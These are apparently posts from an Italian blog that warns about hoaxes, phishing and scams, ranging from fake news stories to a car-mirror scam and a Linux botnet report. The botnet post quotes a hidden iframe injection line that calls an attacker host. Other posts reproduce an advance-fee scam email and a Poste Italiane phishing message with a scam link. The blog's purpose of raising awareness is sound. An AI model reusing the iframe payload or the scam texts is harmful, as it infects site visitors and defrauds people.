Bello Figo a Trento, la bufala che riempie i giornali. Tra i boccaloni anche L’Adige stampato e online…

Inserito da 15 febbraio, 2017 (0) Commenti

Si tratta di :Bufale e Hoax

 

Stava per rivelarsi l’evento della settimana, polemiche annesse comprese. Bello Figo sarà a Trento al Capriccio House Club il 10 febbraio.. Per fortuna, di tutti, era solo una bufala.

Questa volta a fare la figura del boccalone è stato il giornale più diffuso in Trentino, L’adige, sia nella versione cartacea che in quella online. Prontissimo a dare subito la notizia di Bello Figo a Trento.

A rivelarlo il blog http://ilmucodifrutta.blogspot.it/ che non risparmia ironia per quanto successo.

fonte giudicarie

 

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Bufale: per far soldi e…politica. Il caso Lisa rapita e seviziata da stranieri

Inserito da 22 gennaio, 2017 (0) Commenti

Si tratta di :Bufale e Hoax

Bufale in Rete. Quasi mai sono errori o ingenuità, quasi mai i fake sono innocenti o casuali. Le notizie inventate e immesse in circolo non sono inventate per gioco o immesse per imperizia. Servono a far soldi ed è per questo che vengono prodotte. Soprattutto a far soldi. E servono anche a far…politica. Spesso le due cose coincidono ma non è necessario che i due obiettivi coesistano in una sola bufala. Possono il far soldi e il far politica viaggiare insieme o autonomamente. In entrambi i casi comunque le bufale funzionano, producono appunto soldi e politica. Quindi chi le fabbrica e le spaccia sa quel che fa, eccome se lo fa.

Dalla Germania giunge la notizia, vera, che Facebook in Germania ha elaborato un sistema di segnalazioni della bufala in Rete. La “notizia” senza riscontro nella realtà, segnalata come tale da utente della piattaforma, sarà in qualche modo (labile) verificata dal social network e, se risultata sospetta, sarà segnalata come tale da Facebook stesso. Soprattutto la “notizia”, se sospetta di essere artefatta e inventata, Facebook non la collocherà più in cima a News Feed ma in coda. E qui, in questa collocazione e classifica, che si evidenzia il rapporto tra bufale e soldi.

Una bufala sapientemente costruita, costruita cioè con i materiali che incontrano successo in Rete (una sorta di algoritmo degli argomenti e storie che “tirano”) crea e alimenta, spesso con incremento esponenziale, il traffico appunto in Rete. Questo aumento di traffico vale soldi, chi lo produce incassa, ci guadagna soldi in proporzione. La scelta di Facebook Germania, mettere in coda la “notizia” sospetta mira ad erodere o almeno limitare l’effetto diffusione e quindi remunerazione.

Dalla Germania arriva anche una storia esemplare. La storia di Lisa, storia pluri condivisa sul web, storia di una ragazza che è diventata persona e personaggio per moltissimi tedeschi, storia di una ragazza che non esiste. Lisa sul web ha 14 anni, è stata rapita e quindi seviziata da una banda di stranieri, forse profughi, forse immigrati, di certo stranieri. Rapita e seviziata a 14 anni. Quale migliore esempio, quale migliore prova provata dell’antico e rinnovato “gli stranieri insidiano, rubano, violano le nostre donne”? Nessuna. Lisa nella realtà non esiste. Ma conta poco, conta eccome che la bufala in questo caso fa politica.

Lisa è una presenza e una star sui siti…tedeschi? Sì, tedeschi ma anche russi. E che c’entrano i russi? I siti come la Rete non conoscono confini nazionali e Lisa che non esiste è la prova materiale e la pistola fumante che accusa la Merkel di ever esposto al peggio le donne tedesche, perfino le bambine. Lisa è l’eroina di tutti i siti e gli umori anti Merkel oggi in Germania.

A Lisa fa da compagnia lo straniero che la Merkel in persona ha incontrato faccia a faccia in una pubblica occasione. Abbondano i siti dove si legge di inchieste che lo collegano o coinvolgono in attività e relazioni terroristiche. Inchieste che non esistono.

Basterà il timido accorgimento adottato da Facebook? Ovviamente no. In termini di opinione e “informazione” è dimostrato e acclarato che sul web soprattutto si cerca e si trova ciò che conferma ed esalta ciò di cui si è già convinti. E che la comunicazione liberissima sì finisce però per essere un comunicare in un circuito chiuso, autoreferente e soprattutto auto esaltante. Quindi non sarà un posto a fondo classifica a rendere meno remunerative e/o politicamente utili le bufale.

Però che perfino i grandi social network siano indotti, costretti a “fare la mossa” di fare qualcosa contro le bufale indica, purtroppo attesta che la bufala è pane quotidiano e anche companatico della comunicazione appunto sui social. Con sempre più frequenti sconfinamenti anche nella comunicazione più o meno istituzionale.

C’è chi invoca improbabili e inutili organismi internazionali di controllo. Controllo di che, con quali parametri, con quale autorità? C’è chi grida alla censura se tocchi il sacro web, anche se lo tocchi mentre mente e imbroglia per far soldi. E c’è chi dice che l’unica sta nella professionalità degli operatori dell’informazione (giornalisti?). Professionalità che è l’unico setaccio autentico che è in grado di separare la bufala dalla realtà sapendole distinguere.

Ammesso che questa professionalità esista, c’è il piccolo particolare che non è più particolarmente richiesta dal mercato e prevista nel mansionario dell’operatore nelle comunicazioni. E se pure questa professionalità esiste ancora, quanto durerà nel tempo? Dopo quanti anni ancora di profondo intreccio e intima fusione tra realtà e bufala sul web e dintorni qualcuno saprà ancora distinguere? E ammesso ancora che sappia e voglia ancora farlo, qualcuno lo pagherà ancora per farlo?

 

Kabobo non ha nulla a che fare con l’articolo ma molti hanno rielaborata la bufala sui vari social inserendo questa foto

 

Fonte Blitz

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Treviolo, torna la truffa dello specchietto: “Lanciano un sasso e poi…”

Inserito da 12 marzo, 2016 (0) Commenti

Si tratta di :Phishing e Truffe

Si tratta di una notizia vera

Sul gruppo “Life in Treviolo” la brutta esperienza raccontata da un’utente: “Con la vecchia tecnica del sasso lanciato iniziano a seguire il malcapitato facendo abbaglianti e suonando il clacson insistentemente”.

 

Torna l’allarme (o forse non se n’è mai andato?) per la truffa dello specchietto in provincia di Bergamo: l’ultimo episodio segnalato arriva da Treviolo dove, nella giornata di giovedì 10 marzo, una ragazza è stata vittima di un tentato raggiro.

 

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E’ stata lei stessa a descrivere lo spiacevole episodio su Facebook, nella pagina “Life in Treviolo”, spiegando nei dettagli la tecnica utilizzata dai malviventi: “Volevo segnalare che in via Galetti – scrive – parcheggiata con le 4 frecce c’era un’autovettura grigia che con la vecchia tecnica del sasso lanciato inizia a seguire il malcapitato (io) facendo abbaglianti e suonando il clacson insistentemente...Per chi non lo sapesse usano questa tecnica del sasso o qualcosa del genere facendo credere a chi è di passaggio di avergli rotto lo specchietto facendosi lasciare dei soldi per il danno”.

“Ora io sono una donna sola in auto – continua – e consiglio a tutti e soprattutto alle donne di fare come ho fatto io. Non mi sono fermata subito…sarò passata per una delinquente per tutto il paese dati gli insistenti strombazzamenti di questo che mi inseguiva ma ho iniziato a girare a vuoto chiamando mio papà che nel frattempo è uscito da casa sua e mi sono fermata solo quando sono arrivata lì. Sono scesa dall’auto, ho controllato e ovviamente non aveva un graffio. Loro fortunatamente hanno ceduto e hanno cambiato strada prima che mi fermassi. Se dovessero invece raggiungervi, mentre scendete dall’auto spalmeranno una gomma nera sul vostro veicolo dicendo che è segno evidente di quanto affermano. Lo so per certo dato che lo scorso anno è successo a mio marito”.

Una volta svelato il mistero e con la minaccia di chiamare i carabinieri se ne sono andati anche quella volta. State attente soprattutto voi donne – conclude – Con quello che si sente in giro fermatevi solo quando siete sicure che ci sia qualcuno a sostenervi”.

Fonte : BergamoNews

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«Papà mi uccide!», ma è solo una burla

Inserito da 8 marzo, 2016 (0) Commenti

Si tratta di :Bufale e Hoax,Curiosità

Si riporta un fatto di cronaca

«Papà mi uccide!»,  ma è solo una burla

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«Aiuto! Mio papà mi picchia, mio papà mi vuole uccidere!». Quello che sembrava il disperato allarme lanciato da un 13 enne si è invece rivelata una bufala clamorosa. A opera proprio del ragazzino di 13 anni, che a casa di un amico ha improvvisato uno scherzo di cattivissimo gusto, chiamando la madre nel cuore della notte. E annunciandole che il padre lo voleva uccidere. Tutto falso, per fortuna: ma un grande spavento per i genitori, e una segnalazione per procurato allarme.

È successo a Desenzano, la scorsa settimana: una donna si è precipitata in Commissariato, raccontando di aver ricevuto una telefonata da un numero anonimo. Al cellulare suo figlio, che appunto chiedeva aiuto: «Mio papà mi vuole uccidere». Ingente il dispiegamento di forze: la Polizia si è attivata immediatamente per risalire all’origine della telefonata, partita da un cellulare intestato al papà del ragazzino. Rintracciato il domicilio, in casa non c’era nessuno: solo grazie a ulteriori accertamenti gli agenti sono riusciti a risalire alla sua attuale residenza, in un paese in provincia di Bologna.

L’uomo è stato allora contattato, in piena notte: il 13enne con lui non c’era, «abita a Desenzano con sua madre».

Svelato l’arcano: stava passando la notte a casa di un compagno di scuola, e qui in effetti è stato rintracciato. Sano e salvo: sorpreso di aver scatenato un tale caos, ha ammesso di avere fatto tutto da solo, per scherzo.A.GAT.

Fonte: Bresciaoggi

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Spionaggio: controllare i Satelliti Landsat-7 e Terra AM-1

Inserito da 31 ottobre, 2011 (0) Commenti

Si tratta di :avvenimenti

Chi potrebbe avere interesse nel prendere il controllo di satelliti di osservazione Landsat-7 e Terra AM-1 ? soltanto chi nello spionaggio ha un qualcosa di profitevole. Prendere il controllo di tali satelliti è un operazione pericolosa, non tanto per l’atto in se stesso ma anche per la concreta possibilità di perderne il controllo e provocare schianti… chi è così incosciente di tentare l’accesso a degli oggetti così complessi come i satelliti ? soltanto chi nello spionaggio è molto interessato. Si sospetta una operazione militare di ciberwar ad opera dei servizi di spionaggio cinesi. Ma in concreto che cosa è successo ? tra il 2007 e il 2008 misteriosi hacker avrebbero preso il controllo per osservare la terra. Il controllo abusivo del sistema sarebbe durato per circa dieci minuti.
Entrambi i satelliti sono gestiti dalla Svalbard Satellite Station di Spitsbergen, in Norvegia, che «di norma utilizza Internet per accedere ai dati e trasferire i file» secondo quanto sostiene il rapporto.

 

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Mr Lile Song Re: IN ATTESA DI VOSTRO upate

Inserito da 7 ottobre, 2010 (0) Commenti

Si tratta di :English Articles,hoaxes

undaunted by the fraudster’s face as hard as steel

 

Hello,

Please kindly accept my apologies for sending this
e-mail without your consent. I believe you are a well-
respected, I have a proposal for you. This however is not mandatory nor
I will in no way to compel you to honor against your will, but I hope
that to read and consider the value I offer. My name is Mr. Song Lile,
I am the credit officer Hang Seng Bank, Hong Kong. I have a suggestion
business in an amount of 19.5 U.S. to be transferred to
an offshore account with your assistace if willing to take this
business success.

After the successful transfer, there are parties in proportion of 30%
70% for you and for me. If you are interested, please respond to
my letter immediately, so we can start all the arrangements and give you a
more information about the project and how we would manage.

You can contact me at my private email: (songli@asus.hk)
and send me the following information for documentation purposes:

1. Full names
2. Private telephone number
3. Current residential address

I look forward to hearing from you.

Sincerely,
Mr. Song Lile
Skype: songli954
Hong Kong.

 

in italian

Buon giorno,

Vi preghiamo gentilmente di accettare le mie scuse per l’invio di questa
e-mail senza il tuo consenso. Credo che voi siate una personalità molto
rispettata, ho un proposta per voi. Questo però non è obbligatorio né lo
farò in alcun modo costringervi ad onore contro la tua volontà, ma spero
che a leggere e considerare il valore offro. Il mio nome è Mr. Song Lile,
io sono il credito ufficiale Hang Seng Bank, Hong Kong. Ho una proposta
d’affari nel un importo di 19,5 degli Stati Uniti per essere trasferite su
un conto offshore con il vostro assistace se disposti a prendere questo
business al successo.

Dopo il trasferimento di successo, ci sono parti in proporzione del 30%
per voi e 70% per me. Se siete interessati, si prega di rispondere alla
mia lettera subito, così possiamo cominciare tutti i regimi e ti darò di
più informazioni sul progetto e di come dovremmo gestire.

Potete contattarmi alla mia email privata: (songli@asus.hk)
e mi inviano le seguenti informazioni per scopo di documentazione:

1. Nomi completi
2. Numero di telefono privato
3. Attuale indirizzo di residenza

Non vedo l’ora di sentire da voi.

Cordiali saluti,
Mr. Song Lile
Skype: songli954
Hong Kong.

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Rimuove la limitazione del suo conto

Inserito da 15 dicembre, 2009 (0) Commenti

Si tratta di :Phishing e Truffe

attenzione phishing ai danni dei correntisti Poste italiane (bancoposta)

Visti i nostri termini di servizio, periodicamente verifichiamo qualche conto selezionato nel nostro sistema.
Da una recente verifica abbiamo motivo di credere che ci siano problemi con i suoi dati di accesso:

– due diversi IP sono stati utilizzati per accedere al suo conto.
– abbiamo verificato che non sono state eseguite operazioni, ma riteniamo comunque che debbano essere
prese ulteriori misure di sicurezza.

Per la sua sicurezza abbiamo limitato l’ accesso al suo conto. Solo dopo il primo login andato
a buon fine sara possibile accedere alle caratteristiche sensibili ed effettuare pagamenti.
Trattasi di una misura di sicurezza destinata a proteggere il suo conto.

E possibile rimuovere la limitazione del conto in qualsiasi momento con successo accedendo
al vostro conto.

BancoPosta:

link truffa :
http:// optio . kamara . scibor . eu/ xui9930X911-trjOOh8.X911. html

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Nuovo attacco ai server web Linux, botnet via iframe apache e nginx

Inserito da 15 settembre, 2009 (0) Commenti

Si tratta di :Exploits

Denis Sinegubko, si occupa di sicurezza in Russia, ha scoperto un gruppo di circa 100 server Linux infetti (una botnet) interconnessi tra loro. Si tratta di un gruppo di server web infetti e connessi tra loro che diffondono malware, con lo scopo di creare una rete di computer (server web) che infettano i visitatori di siti web, questa attività è stata scoperta analizzando alcuni server con installato apache con password di root facili, combinando mediante la tecnica iframe server esterni con installato il server nginx si è potuto inserire con successo nelle pagine stringhe all’interno del server vittima fatte in questa maniera :

<i_frame src="http ://a86x . homeunix . org:8080/ts/in.cgi?open2" width=997 height=0 style="visibility: hidden"></iframe>

Tale tecnica non fa altro che aumentare le macchine zombie.

Cosa avviene in parole semplici :

i server infetti osservati da Sinegubko legittimano il traffico web sulla porta 80,
la porta standard tcp per le connessioni al server. Il server rogue che gira avendo  installato nginx  potente server  http e un mail proxy  server sviluppato in russia da Igor Sysoev fa in modo che i computer degli utenti vengano infettati.
A complicare le cose e per aumentare la potenza virale ci si è messo pure l’aggiunta di reti basate su servizi che permettono la rintracciabilità di un computer in rete, ciò significa che esiste una rete di server tracciabile e una rete di computer che potenzialmente non avendo hosting fisso possono cambiare rapidamente dislocazione geografica.

Il tutto significa che nel momento in cui si lancia un comando alla botnet tutti i server infetti rispondono.

Secondo Sinegubko la responsabilità di tale diffusione è tutta degli amministratori di rete che mettono password poco sicure o che non proteggono il traffico di rete da eventuali sniffaggi di password di root.

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